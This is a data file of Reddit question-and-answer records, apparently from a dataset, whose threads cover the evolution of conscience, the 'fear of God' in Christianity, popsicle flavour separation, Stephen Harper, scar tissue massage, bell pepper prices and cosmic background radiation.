{"q_id": "jw4jz", "title": "Could somebody explain conscience through evolution?", "selftext": "edit:\n\n**Note:** Conscience, NOT consciousness.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jw4jz/could_somebody_explain_conscience_through/", "answers": {"a_id": ["c2fl5ag", "c2fl5gh", "c2fl7r7", "c2fl9zp", "c2flbd6", "c2flcf6", "c2flqb5", "c2fmb7w", "c2fo68q", "c2fpsgr", "c2fqyrz", "c2fl5ag", "c2fl5gh", "c2fl7r7", "c2fl9zp", "c2flbd6", "c2flcf6", "c2flqb5", "c2fmb7w", "c2fo68q", "c2fpsgr", "c2fqyrz"], "score": [4, 115, 4, 16, 7, 2, 2, 2, 2, 2, 8, 4, 115, 4, 16, 7, 2, 2, 2, 2, 2, 8], "text": ["Did you mean conscience or consciousness? ", "It is an altruistic trait, meaning that it prefers preservation of the group rather than the individual. There are many examples of altruistic traits in nature (honey bees, mole rats).\n\nI imagine it originally evolved as a way to care about the group, and was selected for because those who cared about their clan or tribe and kept them healthy had a greater chance to get laid and spread their seed.\n\nEdit: It appears Darwin addressed this:\n_URL_0_", "It would have a lot to do with self-monitoring of social status in a species like ours. I assume even other non-human primates will have something similar. Being able to simulate the minds of others and see how they felt about your actions would be tremendously valuable. \n\nThere's a bunch of books on this, BTW. A quick Amazon search brings up stuff like: _URL_0_", "Let's begin with the definition of conscience - \"an inner feeling or voice viewed as acting as a guide of rightness or wrongness of one's behaviour\". - From the American Oxford Dictionary (installed on my computer)\n\nSo we want to know where the decision making on morality comes from from an evolutionary point of view.  So let's begin with where we need to get to - to have a sense of right and wrong a living thing first needs to be conscious, it needs to have an ability to choose (i.e. its actions cannot be a purely automatic because if its actions were automatic it wouldn't need to evaluate right ones versus wrong ones.)\n\nConsciousness arises in animals that have more than one sense organ and consciousness is some integration between those two sensory stimuli.  Now, it may not quite be called conscience to describe when a moth is drawn to a fire but feels it's wrong to proceed any closer when it gets too close to the fire because the heat becomes too intense, but that is at least a primitive type of right vs wrong decision making you can observe in a creature with very little consciousness.  Similarly a fly will sit on a piece of fruit and eat it until a hand comes to shoo it away - it knows it's right to fly away from the fruit at that time even though the fruit is good, because the hand is worse.\n\nAs consciousness becomes more sophisticated, particularly in humans, which are the only animal we know of with a conceptual consciousness, the decisions of right and wrong become more complex and can be based on rational concepts rather than just emotional reactions.  It is from our conceptual faculty that we can have an explicit, articulated conscience guide us - e.g. \"I will study because that will allow me to learn valuable knowledge which I can apply to furthering my life.\" or its opposite \"I am not studying and I know I should and I know this is wrong\".  \n\nSo in summary, it all comes from the very purpose which consciousness serves which is to evaluate input for the purpose of decision making.  A proper conscience will guide you to stay alive and be productive and happy and act in your self interest, while an improper one will guide you toward self-destruction.  To the extent that conscience is guided by evolution you can see how a self-destructive conscience would be one that would be eliminated through the fact that specimens possessing it would be unlikely to reproduce successfully.   ", "Relevant exerpt from peter Watts' novel Blindsight:\n\nEvolution has no foresight. Complex machinery develops its own agendas. Brains\u2014cheat. Feedback loops evolve to promote stable heartbeats and then stumble upon the temptation of rhythm and music. The rush evoked by fractal imagery, the algorithms used for habitat selection, metastasize into art. Thrills that once had to be earned in increments of fitness can now be had from pointless introspection. Aesthetics rise unbidden from a trillion dopamine receptors, and the system moves beyond modeling the organism. It begins to model the very process of modeling. It consumes ever-more computational resources, bogs itself down with endless recursion and irrelevant simulations. Like the parasitic DNA that accretes in every natural genome, it persists and proliferates and produces nothing but itself. Metaprocesses bloom like cancer, and awaken, and call themselves *I*.", "TIL English differentiates between \"conscience\" and \"consciousness\". In Spanish we just have \"conciencia\". ", "If you're interested in a quite in-depth study on this topic, I'd suggest reading the Selfish Gene by Richard Dawkins, which spends a great deal of time on this subject.", "It is beneficial to have a group around you, to help watch out for predators and to collectively scout for food. This is particularly so if you are not a very tough animal, but you are good at foraging, and dextrous- having successful group cohesion is as good as having claws or speed. If that group is mutually antagonistic, the group won't help one another, but if that group is mutually helpful, the group will benefit everyone. Therefore conscience is an emotional drive to be nice to your friends and loved ones- to promote group cohesion. This promotes survival for all involved.\n\nThis also seems to be why we evolved deviousness and deception- because once your group is functional, you will have the most successful offspring if you can betray the group without the consequences that come from them knowing about it... and as long as you do so within the bounds of conscience, such that you are not destroying the group altogether. ", "Apologies for speculation, but it seems this is still a disputed question even among evolutionary biologists so...\n\nI think that there are two kinds of 'conscience' that results in our acting morally. There is a kind of empathetic conscience, where you feel bad for causing somebody else pain, because you love them, or because they are so similar to you that you can imagine what it feels like to be them. I think this is explained by Kin Selection - you want to help those that share your genes.\n\nAnother type of conscience is more abstract, and usually religious. Young people are taught that certain things are wrong, and they should not do them, and they should feel bad for doing them. These are social constructs, and many of them are (i believe) strategies evolved by physically weak but mentally strong individuals to prevent the physically strong from using violence to their advantage. \n\n\"Moral law is an invention of mankind for the disenfranchisement of the powerful in favor of the weak. Historical law subverts it at every turn. A moral view can never be proven right or wrong by any ultimate test. A man falling dead in a duel is not thought thereby to be proven in error as to his views. His very involvement in such a trial gives evidence of a new and broader view.\" -Blood Meridian, Cormac McCarthy, ", "Paraphrasing what I've read from Eliezer Yudkowsky:\n\nConscience is a trait that prevents bearers from committing anti-social behavior, even when they think they can get away with it. For context, getting caught doing anti-social behavior - stealing, hurting people, basically anything your conscience thinks is wrong - would get you exiled and unable to reproduce in the ancestral environment.\n\nSo why is not doing anti-social behavior when you think you can get away with it a good idea? Because often enough in the ancestral environment, people who thought they could get away with bad things were **wrong**, failed to reproduce, and having a personal conscience drove the competing traits to extinction.\n\ntl;dr people who had a conscience didn't get exiled for committing social offenses that they thought they could get away with, and out-bred those who did think they could get away with being a douchebag but were wrong about it.", "I fear I may have happened on this thread too late and therefore my response will bet buried, but oh well.\n\nI am going to talk about what I believe you are looking for, though I could be off base.\n\nI research **the evolution of human altruism**. That is, when someone takes a fitness relevant loss in order to have some fitness relevant result (this can be negative or positive) on another non-kin person.\n\nThe strongest going theory right now to explain the evolution of this behavior is [dual inheritance theory](_URL_0_), AKA Culture-Gene Coevolution.\n\nThis is a pretty multi-staged process, one that I do not feel this medium is well suited to explain. However, I highly recommend you read [this book chapter PDF by Joe Henrich et al](_URL_1_).\n\nA couple quick points that people may be interested in, is that the chapter explains how other forms of selection, such as kin selection and reciprocity (indirect or otherwise) are *not sufficient* to explain the level of human altruism we see experimentally.\n\nIf you have any specific questions, whether in regards to the chapter or the topic in general, I am happy to answer them!", "Did you mean conscience or consciousness? ", "It is an altruistic trait, meaning that it prefers preservation of the group rather than the individual. There are many examples of altruistic traits in nature (honey bees, mole rats).\n\nI imagine it originally evolved as a way to care about the group, and was selected for because those who cared about their clan or tribe and kept them healthy had a greater chance to get laid and spread their seed.\n\nEdit: It appears Darwin addressed this:\n_URL_0_", "It would have a lot to do with self-monitoring of social status in a species like ours. I assume even other non-human primates will have something similar. Being able to simulate the minds of others and see how they felt about your actions would be tremendously valuable. \n\nThere's a bunch of books on this, BTW. A quick Amazon search brings up stuff like: _URL_0_", "Let's begin with the definition of conscience - \"an inner feeling or voice viewed as acting as a guide of rightness or wrongness of one's behaviour\". - From the American Oxford Dictionary (installed on my computer)\n\nSo we want to know where the decision making on morality comes from from an evolutionary point of view.  So let's begin with where we need to get to - to have a sense of right and wrong a living thing first needs to be conscious, it needs to have an ability to choose (i.e. its actions cannot be a purely automatic because if its actions were automatic it wouldn't need to evaluate right ones versus wrong ones.)\n\nConsciousness arises in animals that have more than one sense organ and consciousness is some integration between those two sensory stimuli.  Now, it may not quite be called conscience to describe when a moth is drawn to a fire but feels it's wrong to proceed any closer when it gets too close to the fire because the heat becomes too intense, but that is at least a primitive type of right vs wrong decision making you can observe in a creature with very little consciousness.  Similarly a fly will sit on a piece of fruit and eat it until a hand comes to shoo it away - it knows it's right to fly away from the fruit at that time even though the fruit is good, because the hand is worse.\n\nAs consciousness becomes more sophisticated, particularly in humans, which are the only animal we know of with a conceptual consciousness, the decisions of right and wrong become more complex and can be based on rational concepts rather than just emotional reactions.  It is from our conceptual faculty that we can have an explicit, articulated conscience guide us - e.g. \"I will study because that will allow me to learn valuable knowledge which I can apply to furthering my life.\" or its opposite \"I am not studying and I know I should and I know this is wrong\".  \n\nSo in summary, it all comes from the very purpose which consciousness serves which is to evaluate input for the purpose of decision making.  A proper conscience will guide you to stay alive and be productive and happy and act in your self interest, while an improper one will guide you toward self-destruction.  To the extent that conscience is guided by evolution you can see how a self-destructive conscience would be one that would be eliminated through the fact that specimens possessing it would be unlikely to reproduce successfully.   ", "Relevant exerpt from peter Watts' novel Blindsight:\n\nEvolution has no foresight. Complex machinery develops its own agendas. Brains\u2014cheat. Feedback loops evolve to promote stable heartbeats and then stumble upon the temptation of rhythm and music. The rush evoked by fractal imagery, the algorithms used for habitat selection, metastasize into art. Thrills that once had to be earned in increments of fitness can now be had from pointless introspection. Aesthetics rise unbidden from a trillion dopamine receptors, and the system moves beyond modeling the organism. It begins to model the very process of modeling. It consumes ever-more computational resources, bogs itself down with endless recursion and irrelevant simulations. Like the parasitic DNA that accretes in every natural genome, it persists and proliferates and produces nothing but itself. Metaprocesses bloom like cancer, and awaken, and call themselves *I*.", "TIL English differentiates between \"conscience\" and \"consciousness\". In Spanish we just have \"conciencia\". ", "If you're interested in a quite in-depth study on this topic, I'd suggest reading the Selfish Gene by Richard Dawkins, which spends a great deal of time on this subject.", "It is beneficial to have a group around you, to help watch out for predators and to collectively scout for food. This is particularly so if you are not a very tough animal, but you are good at foraging, and dextrous- having successful group cohesion is as good as having claws or speed. If that group is mutually antagonistic, the group won't help one another, but if that group is mutually helpful, the group will benefit everyone. Therefore conscience is an emotional drive to be nice to your friends and loved ones- to promote group cohesion. This promotes survival for all involved.\n\nThis also seems to be why we evolved deviousness and deception- because once your group is functional, you will have the most successful offspring if you can betray the group without the consequences that come from them knowing about it... and as long as you do so within the bounds of conscience, such that you are not destroying the group altogether. ", "Apologies for speculation, but it seems this is still a disputed question even among evolutionary biologists so...\n\nI think that there are two kinds of 'conscience' that results in our acting morally. There is a kind of empathetic conscience, where you feel bad for causing somebody else pain, because you love them, or because they are so similar to you that you can imagine what it feels like to be them. I think this is explained by Kin Selection - you want to help those that share your genes.\n\nAnother type of conscience is more abstract, and usually religious. Young people are taught that certain things are wrong, and they should not do them, and they should feel bad for doing them. These are social constructs, and many of them are (i believe) strategies evolved by physically weak but mentally strong individuals to prevent the physically strong from using violence to their advantage. \n\n\"Moral law is an invention of mankind for the disenfranchisement of the powerful in favor of the weak. Historical law subverts it at every turn. A moral view can never be proven right or wrong by any ultimate test. A man falling dead in a duel is not thought thereby to be proven in error as to his views. His very involvement in such a trial gives evidence of a new and broader view.\" -Blood Meridian, Cormac McCarthy, ", "Paraphrasing what I've read from Eliezer Yudkowsky:\n\nConscience is a trait that prevents bearers from committing anti-social behavior, even when they think they can get away with it. For context, getting caught doing anti-social behavior - stealing, hurting people, basically anything your conscience thinks is wrong - would get you exiled and unable to reproduce in the ancestral environment.\n\nSo why is not doing anti-social behavior when you think you can get away with it a good idea? Because often enough in the ancestral environment, people who thought they could get away with bad things were **wrong**, failed to reproduce, and having a personal conscience drove the competing traits to extinction.\n\ntl;dr people who had a conscience didn't get exiled for committing social offenses that they thought they could get away with, and out-bred those who did think they could get away with being a douchebag but were wrong about it.", "I fear I may have happened on this thread too late and therefore my response will bet buried, but oh well.\n\nI am going to talk about what I believe you are looking for, though I could be off base.\n\nI research **the evolution of human altruism**. That is, when someone takes a fitness relevant loss in order to have some fitness relevant result (this can be negative or positive) on another non-kin person.\n\nThe strongest going theory right now to explain the evolution of this behavior is [dual inheritance theory](_URL_0_), AKA Culture-Gene Coevolution.\n\nThis is a pretty multi-staged process, one that I do not feel this medium is well suited to explain. However, I highly recommend you read [this book chapter PDF by Joe Henrich et al](_URL_1_).\n\nA couple quick points that people may be interested in, is that the chapter explains how other forms of selection, such as kin selection and reciprocity (indirect or otherwise) are *not sufficient* to explain the level of human altruism we see experimentally.\n\nIf you have any specific questions, whether in regards to the chapter or the topic in general, I am happy to answer them!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.bun.kyoto-u.ac.jp/~suchii/D.onM.html"], ["http://www.amazon.com/Moral-Psychology-Evolution-Adaptations-Innateness/dp/0262693542/"], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Dual_inheritance_theory", "http://www2.psych.ubc.ca/~henrich/pdfs/Henrich_Joyce_Volume_Final.pdf"], [], ["http://www.bun.kyoto-u.ac.jp/~suchii/D.onM.html"], ["http://www.amazon.com/Moral-Psychology-Evolution-Adaptations-Innateness/dp/0262693542/"], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Dual_inheritance_theory", "http://www2.psych.ubc.ca/~henrich/pdfs/Henrich_Joyce_Volume_Final.pdf"]]}
{"q_id": "4c2zi2", "title": "In Christianity, from where the thought \"love and fear our lord\" originates from?", "selftext": "Hello. I am an orthodox christian and in my faith, don't know about other christian faiths, you should love and fear the god. I am trying to understand from where this thought is coming from? Who said first that you should be afraid of god?\n\nP.S. hope it's still considered as a subject of history.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4c2zi2/in_christianity_from_where_the_thought_love_and/", "answers": {"a_id": ["d1eqx3c"], "score": [3], "text": ["Many times when followers of the Abrahamic faiths say \"fear of God,\" they mean it in the sense of reverence rather than what we think of when we hear the word \"fear\" (being afraid and cowering). The [Catechism of the Catholic Church](_URL_1_) describes the fear of God as one of the seven gifts of the Holy Spirit. It's meant to be seen as the awareness of a perfect God as separate from yourself as [Thomas Aquinas argues](_URL_0_) in *Summa Theologica* around 1274. It's also stated in [Proverbs 1:7](_URL_2_), [9:10](_URL_4_), and [15:33](_URL_3_) that fear of God is the basis for wisdom.\n\nI think the first time \"fear of God\" comes up in the Bible is [after Abraham is stopped from killing his son](_URL_5_) and praised for his dedication to God."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.newadvent.org/summa/3019.htm", "http://www.vatican.va/archive/ENG0015/__P67.HTM#$211", "http://biblehub.com/proverbs/1-7.htm", "http://biblehub.com/proverbs/15-33.htm", "http://biblehub.com/proverbs/9-10.htm", "http://biblehub.com/genesis/22-12.htm"]]}
{"q_id": "1irb0v", "title": "Why can I suck the color and flavor out of a Popsicle, leaving only ice behind?", "selftext": "For example, this happened with Kool-Aid ice pops I made.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1irb0v/why_can_i_suck_the_color_and_flavor_out_of_a/", "answers": {"a_id": ["cb7imro", "cb7r33e"], "score": [4, 4], "text": ["When the pops are first frozen, both ice and \"flavor crystals\" form; two solid phases.  The flavor crystals are ice crystals with \"flavor molcules\" trapped inside.  As the water in the \"flavor crystals\" starts to melt, the \"flavor molecules\" get inside the water and act like the salt on the sidewalk in the winter - lowering the melting temperature of the ice ([freezing point depression](_URL_0_)).  This causes the surrounding ice to melt faster, dissolving all of the \"flavor crystals\". Other parts of the popsicle don't come into contact with the \"flavor molecules\" and don't melt as fast - they remain frozen as pure ice.\n\nThe result is what you experience.\n\nEdit: Revised per discussion with rupert1920", "When you first freeze something, the very first solid that forms is basically pure ice. This means that whatever solutes you have dissolved will be pushed to the liquid phase. This solution will have a lower freezing point, because of freezing point depression - so it'll freeze at a lower temperature. As _that_ part freezes, the solid that forms is still mostly ice, thus further concentrating the liquid parts and lowering that freezing point.\n\nThis process continues until it's not energetically favourable to separate the water from the solution, and the solution freezes as a whole. What you get now is a gradient of solids with different concentrations of solute. Because of said freezing point depression, the parts with highest concentration melts first. So when you suck on a popsicle, you're getting the concentrated solution that melts first, while the relatively pure ice can remain solid longer.\n\nThis is most commonly seen in home-made popsicles because nothing is done to prevent this separation of states. In commercial popsicle manufacturing, they use processes that avoid this freeze fractionation - for example, freezing them rapidly so there is no time to separate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Freezing-point_depression"], []]}
{"q_id": "10zuso", "title": "why everyone hates stephen harper", "selftext": "As an American I get my news from NPR, The BBC and Al Jazeera. Not much Canadian news pops up but from what I gather you guys have a Prime Minister named Stephen Harper and *nobody* likes him. What exactly has this guy done that so many people want him gone? I can also gather from comments on Reddit that you guys also have a politician named Vic Toews and nobody likes him either.\n\nCan someone explain to me why nobody on Reddit seems to like these politicians?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/10zuso/eli5_why_everyone_hates_stephen_harper/", "answers": {"a_id": ["c6i1zrv", "c6i23t9", "c6i3m1y", "c6i3ug4", "c6i45bd", "c6i45kq", "c6i4hlk"], "score": [12, 3, 34, 2, 22, 18, 7], "text": ["He has a majority government despite having less than half of the popular vote.", "[These are a few reasons](_URL_0_)\n\nEDIT: Just noticed they changed the front page of that website, to see \"shit harper did\" click the tab at the top right", "The answer to this question is a 3 parter. Here goes...\n\n* **Sample Bias.** Stephen Harper is from the Conservative Party. Reddit users tend to lean in the non-conservative direction. It could possibly be that young people tend not to be conservative, and Reddit has more younger users than older users. All that is debatable...however-- the Canadians you likely meet on reddit will more likely than not disagree with the policies of Stephen Harper. \n\n*  The **Canadian Federal Electoral System.** \nIn the latest election, first of all, only 61% of the population voted. Thats about 14.5 million votes. Now, Canada has a first past the post voting system. The concervatives only got  5,832,401 votes. However, they got 166 seats, (electoral districts) out of the 308 in total, a majority, and so were able to govern in their own right. In order to win a seat, *you only need to have more votes than any other candidate*, not 50% or more.\nIn elections with more than 2 parties, First past the post 'splits' the vote and skews the results. \n* He's reasonably **disliked**. In one poll 49% had an unfavourable view of Prime Minister Stephen Harper, while 35% had a favourable impression. ", "Aside from most of Reddit (mostly liberal demographic) and Quebec, I don't personally see or know of many people who really dislike Harper.  In fact, many are quite pleased with the job he's done so far.", "he raised retirement age to 67, made ei harder to get, wants ppl on welfare to have drug testing, cut daycare and childcare funding, cut healthcare funding, cut funding to single mums and low income families, cut funding for the arts, cut funding to public schools. when he isnt cutting funding to essential programs for our kids and our health heis planning to put a giant oil pipeline through very sensitive ecosystems in bc.\n\ngenerally his policies are bad for the environment, healthcare, education but they cater to the babyboomers coming financial needs so he got the vote. because we had two liberal parties running in the election (NDP and liberals) it was split. Last time the liberals were in power they created huge national debt so many people voted NDP a previously smaller party- but it ended up splitting the vote.\n\nSomeone else pointed out that redditors are younger and the youth in canada tend not to like harper. this bias is true. im 27 my bf is 25 we live in vancouver. our friends range from 21-45, i only know two people that voted for harper. and they voted based on economic policy, they both think he is a douche.\n\ncanada has gotten a lot of flack this year in the media because of the harper admin. Called out on human rights violation for a canadian citizen in guatanamo bay who was supposed to be extradited in oct of 2011 but the government wont acknowledge. He was called out for being \"un-canadian\" at an international environmental conference in rio earlier this year for some of his new policies: like shipping espectice  (sp) to india so canada dosent have to destroy it as by first world standards its a bio-hazzard. ( it creates a rare and incurable lung cancer) The enbridge pipeline is a massive backstep in canada's economic policy. Harper was also called out at a recent g20 gathering for being the only country to agree w. russia and vote to open a trading route through the very sensitive eco-system of antarctic waters. \n\ni could go on at length, but you get the jist.\n\nIf you want to know about a canadian politician we did like, check out jack layton. He was the leader of the ndp party but lost his battle to cancer after the election. This has memorialised him a lot he is most remembered by some with his farewell letter: _URL_0_. Not everyone loves layton, but many people saw his platform as \"canadian.\"", "I understand that Reddit is very liberal, but I'd like to try to be a little more unbiased here. \n\nProbably the best answer I can give you is that a majority of Canadians are too liberal for Harper. In the last election, the Conservatives got roughly 40% of the vote with the remaining 60% going to left-leaning parties (the NDP, Liberals, BQ and Green). Having a (small-c) conservative government in a relatively (small L) liberal county will not win you the affection of the population.\n\nIf you want more specifics, many people (i.e. the 60% who votes liberal) do not like his dismantling of our environmental policies, his disdain for the democratic process in Canada, his unabashed support of Israel, his scrapping of the long gun registry and his omnibus crime bill.\n\nThat being said, not many people deny that he has managed the economy fairly well through the recession for the most part with a minority government.\n\nNow I don't think you will be hearing much good from anybody about Vic Toews. He introduced Bill C-30 which will allow police to force ISPs to give up our browsing information without a warrant as well as a couple other things. He was also very reluctant to fight for Omar Khadr, a Canadian who was imprisoned in Guantanamo Bay where by all rights, he should have fought for the guy", "He's developed the oil sands by butchering the fishery act removing the need for environmental assessments and artificially inflating the dollar by not factoring the future costs of clean up\n\nHis tough on crime bill will put far more minor offenders away for madatory minimum sentences and simply antagonize an already broken system\n\nWe we're lied to about the cost of the f-35 being purchased\n\nin order to get Canada into the pacific free trade agreement he essentially threw away any bargaining abilities we had which may force us to adopt several internet freedom destroying laws\n\nWhile he has increased funding to R & D science he has slashed budgets in all other scientific areas including shutting down the Experimental Lakes area\n\nThere are a number of other reasons but these stick out to me personally"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://shitharperdid.ca/"], [], [], ["http://www.cbc.ca/news/politics/story/2011/08/22/pol-layton-last-letter.html"], [], []]}
{"q_id": "8ltzh5", "title": "where does mature scar tissue go when it's massaged away?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8ltzh5/eli5_where_does_mature_scar_tissue_go_when_its/", "answers": {"a_id": ["dzighfu", "dzij5kg", "dzij6as", "dzij8dr", "dzik8rj", "dzjdci6"], "score": [185, 2, 38, 7, 2, 3], "text": ["You cannot massage away scar tissue, that is a myth. You can cause the muscles surrounding scar tissue to relax making the scar less noticeable, but you cannot massage the scar tissue away. ", "Massage breaks down myofacsial adhesions.  Basically myofacsia is like the connective tissue that surrounds out muscle fibers.  When they adhere to themselves or surrounding muscle fibers, you can experience muscular \"scarring\" or \"knots\" that can be worked with deep tissue massage and hydration.  I don't personally have any experience massaging away dermal scars.", "I'm a physical therapist assistant and we do scar massage all the time. It doesn't get rid of scar tissue like other people have said but the actual goal of scar massage and cross friction massage is just to increase tissue extensibility (make the scar more stretchy and less tight) to make the area affected more functional.", "When someone is saying \u201cbreaking up scar tissue\u201d they\u2019re most likely talking about the fascia. Fascia, in general, tends to bunch up and get matted down to the muscle tissue. This causes decrease range of motion in the skin and surrounding tissues and can cause discomfort and additional muscular tension. With trauma to the tissue, such as a scar, the fascia tends to get matted down even more than usual. By manually stretching and manipulating it you can break up extra adhesions. Nothing actually \u201cbreaks off\u201d but you can smooth it out for easier movement and better circulation (usually resulting in decreased pain). ", "According to \u201cRobins and Cotrans Pathilogic Basis of Disease\u201d scar formation is a stepwise process in which damaged tissue is replaced with a fibrous tissue if it cannot regenerate. The first steps involve generation of new blood vessels and recruitment of the cells (macrophages , fibroblasts, etc) that are going to be doing the actual repair. This is called \u201cgranulation tissue\u201d. \n\nAfter several days the second step kicks in and fibroblasts begin creating the scar tissue that is composed of inactive fibroblasts, collagen fibers, elastic tissue and other components. When this happens, the scar starts looking a bit more pale and less inflamed, and thus less noticeable (perhaps this is what they\u2019re attributing to \u201cscar tissue going away\u201d). \n\nLater steps involve changes in the types of collagen involved and strengthening of the tissue, however the tissue will never change back to the original type of tissue (keep in mind that scars form in most types of tissue and not just skin tissue). The book didn\u2019t mentioned anything about massages or other techniques to help reduce the scar tissue. \n\nI hopes this helps. I tried to keep it as simple as possible but I\u2019m summarizing a whole chapter on tissue repair in three paragraphs. I\u2019m a second year medical student, btw. ", "Scar tissue as someone has mentioned is the last stage of wound healing - it\u2019s noticeable because of the disorganised nature of its growth - unlike regular growth, new cell growth over a wound forms more quickly (since the body wants to quickly close the wound to stop bleeding and ward off infections) and unevenly (since there are gaps and tears in the tissue).\n\nOnce scar tissue is formed, it can eventually fade over a number of years as the skin continues with its usual cycle of shedding dead skin and generating new skin cells. Skin cells are formed at the deepest level of the skin, and the regular cycle involves new cells eventually making their way up the layers of skin until they reach the top, eventually dying and shedding off. If a scar (in other words the original wound) is not too deep, the old scar tissue can wear off over time as more regular and organised cell growth makes its way to the top."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "83o4o2", "title": "why are green bell peppers always cheaper than their red, yellow, and orange counterparts?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/83o4o2/eli5_why_are_green_bell_peppers_always_cheaper/", "answers": {"a_id": ["dvj99hr", "dvj9o9z", "dvjarnp", "dvjdsl7", "dvjg32x", "dvjg3tr", "dvjg65x", "dvjgobw", "dvjh12s", "dvjiysv", "dvjk1k2", "dvjl3ov", "dvjmyog", "dvjovg5", "dvjrjdn", "dvjtszp", "dvjxz9d"], "score": [13972, 2381, 658, 170, 8, 37, 25, 8, 2, 9, 6, 56, 38, 17, 2, 2, 2], "text": ["Quicker and easier to grow.\n\nGreen peppers are the youngest of the four, and are therefore picked sooner and can be replanted quicker.\n\nLess resources are used, so they're cheaper.", "They're all the same plant, the green peppers are just harvested before they're fully ripe  &  have taken on the red/orange/yellow colors.  You're paying more because it takes longer to grow the other colors.", "I grow peppers in my back garden. The green ones are just unripe red ones. Peppers will bare fruit quickly and abundantly in the right conditions but need to be left on the vine longer to ripen. Which is why the green ones are cheaper. They can be harvested sooner. \n\nMost capsicums will turn green, to orange, to red as they ripen. Even jalapenos and other chilies. The green ones usually aren't as sweet. ", "This ELI5 fits perfectly with [this TIL post](_URL_0_) from earlier this week.\n\nNot saying OP knowingly did this...but the connections in the hivemind work in mysterious ways.", "Two big reasons:\n\n1. A green pepper is an early harvest (e.g. a red pepper goes through a green phase before it turns red).  Less went into making the green pepper.\n\n2. The green pepper can be kept longer - e.g. it's shelf life is greater then that of the yellow/red/orange variety (not unrelated to the later harvest).  This means less loss, less need to ship urgently, longer warehousing, etc.", "Another question on the topic of bell peppers:  \n\nOccasionally red bell peppers have a certain stench to them, which I've seen described smelling like 'mothballs' on the few internet searches where I've found people experiencing similar things. Happens during winter season (here in Germany) primarily.\n\nPretty much always when that happens the peppers are extremely ripe, with the red turning somewhat dark already. Since red peppers are already the ripest ones to begin with, does that particular smell develop when almost overripe, and maybe in combination with non-ideal storage in warehouses and/or transporters? \n\nSearching for that topic against just now, someone mentioned that the smell might come from the peppers being initially stored very cold and then sweating in plastic package. After putting them in a paper bag and letting them air out for a couple days, said stench apparently goes away.\n\nMight have to try that the next time I encounter some stinkies. ", "Ok, when it comes to regular bell peppers, yes, they are just under ripe. HOWEVER, there absolutely are cultivars of peppers and tomatoes that will ripen and still be green. Source: organic farmer of heirloom tomatoes and wide variety of peppers for 10 years.", "In addition to what has already been mentioned about plant yield by picking them \"unripe\", unripe fruits and vegetables are always more durable for transport, in both their \"shelf life\" and even just with being able to take a few knocks. Tomatoes and many other items are actually usually picked UNRIPE, and then gassed (with a gas they produce naturally when ripening anyway) to kick-start the ripening process again. This is why \"ripened on the vine\" tomatoes are more expensive. Even the way they have to be packaged is more expensive, because they are more delicate.", "My friend grows them. Yellow and red are green peppers just ripened longer. So more water and time go into them plus losses to pest and birds and storms. Some rot or are blotchy and you can't sell them. So it's quicker and easier to harvest them sooner when they green. more crop equal cheaper crop.", "Do they taste any different, or is the difference purely the color?", "In Ethiopia, in their Amharic language, bell peppers are called \"ferenge karia\".  Now \"karia\" is what they call the little hot ones, jalepenos,serranos, and so forth.  But \"ferenge\" is a funny word, in fact the same word, same meaning, is used in Ethiopia, in India, in Viet Nam, in Indonesia. means pretty much the same thing....\n\n...so I am walking down a sidewalk in Addis Ababa, just about the only white guy in a city of over 3 million, and all the time I see people unabashedly staring at me because, I understand, they have NEVER seen a white guy before in their entire lives ....\n\n...and then, behind me, I hear a little boy say to his mom, \"Ayee, inatee!  Yih ferenge new.\"  And then I hear her turn around and swat him on his little behind for using that word.  And I do not need any dictionary at all to understand what that was all about!", "That isn't always the case. Here in the Netherlands bell peppers are all the same price, regardless of the color they are.", "If this is true, why do the nursery sell saplings of green and yellow as different variety. Also the green pepper in my garden will not turn yellow even if I leave it for a long time. It just whilts. Need better explanation.", "Well for starters the green dragons have the lowest level and are most easily accessible, even in non-member worlds", "You're running a supermarket.  Green peppers are by far the most popular variety.  Basically everyone buys them.  The other colors are more specialized things people buy for certain recipes.  You want people to think your prices on everyday staples are reasonable.  Meanwhile prices on specialty ingredients can be higher because people who are shopping for special recipes know they have to pay more to get it exactly right.\n\nEven if your supplier charges less for green peppers, don't you think you'd be incentivized to push prices even lower on the green ones, and maybe inflate the other ones to balance it out?\n\nI do not run a supermarket but ... Seems plausible ...", "But are there different strains of Bell Peppers that are grown for each color?  The green ones you at the grocery seem to be wider at the base then the red.  Yellow and Orange also tend to be wider at the base. Red peppers are always longer and tapered.  In this video the green pepper goes from green to red.  Granted the orange and yellow stage could have been edited out but the green pepper never gets wider at the base or looks like what you get in the grocery.  [Green straight to Red](_URL_0_)", "I swear to God sometimes this subreddit is like the most important thing on the internet, and this is one of those moments. Excellent goddamn question."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.reddit.com/r/todayilearned/comments/828p0q/til_green_bell_peppers_are_just_unripe_versions/"], [], [], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=LAVX1fit1Z0"], []]}
{"q_id": "isun7", "title": "How big would an antenna in space need to be to get energy from the background radiation?", "selftext": "And a follow up, assuming we could construct this device, how much energy would we get from it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/isun7/how_big_would_an_antenna_in_space_need_to_be_to/", "answers": {"a_id": ["c26cy59", "c26e828"], "score": [13, 7], "text": ["The temperature of the cosmic microwave background is three degrees absolute. In order to extract energy from it, you need something that's *colder* than three degrees absolute. Which, putting it mildly, rules out everything.", "[About this big.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Planck_\\(spacecraft\\)"]]}
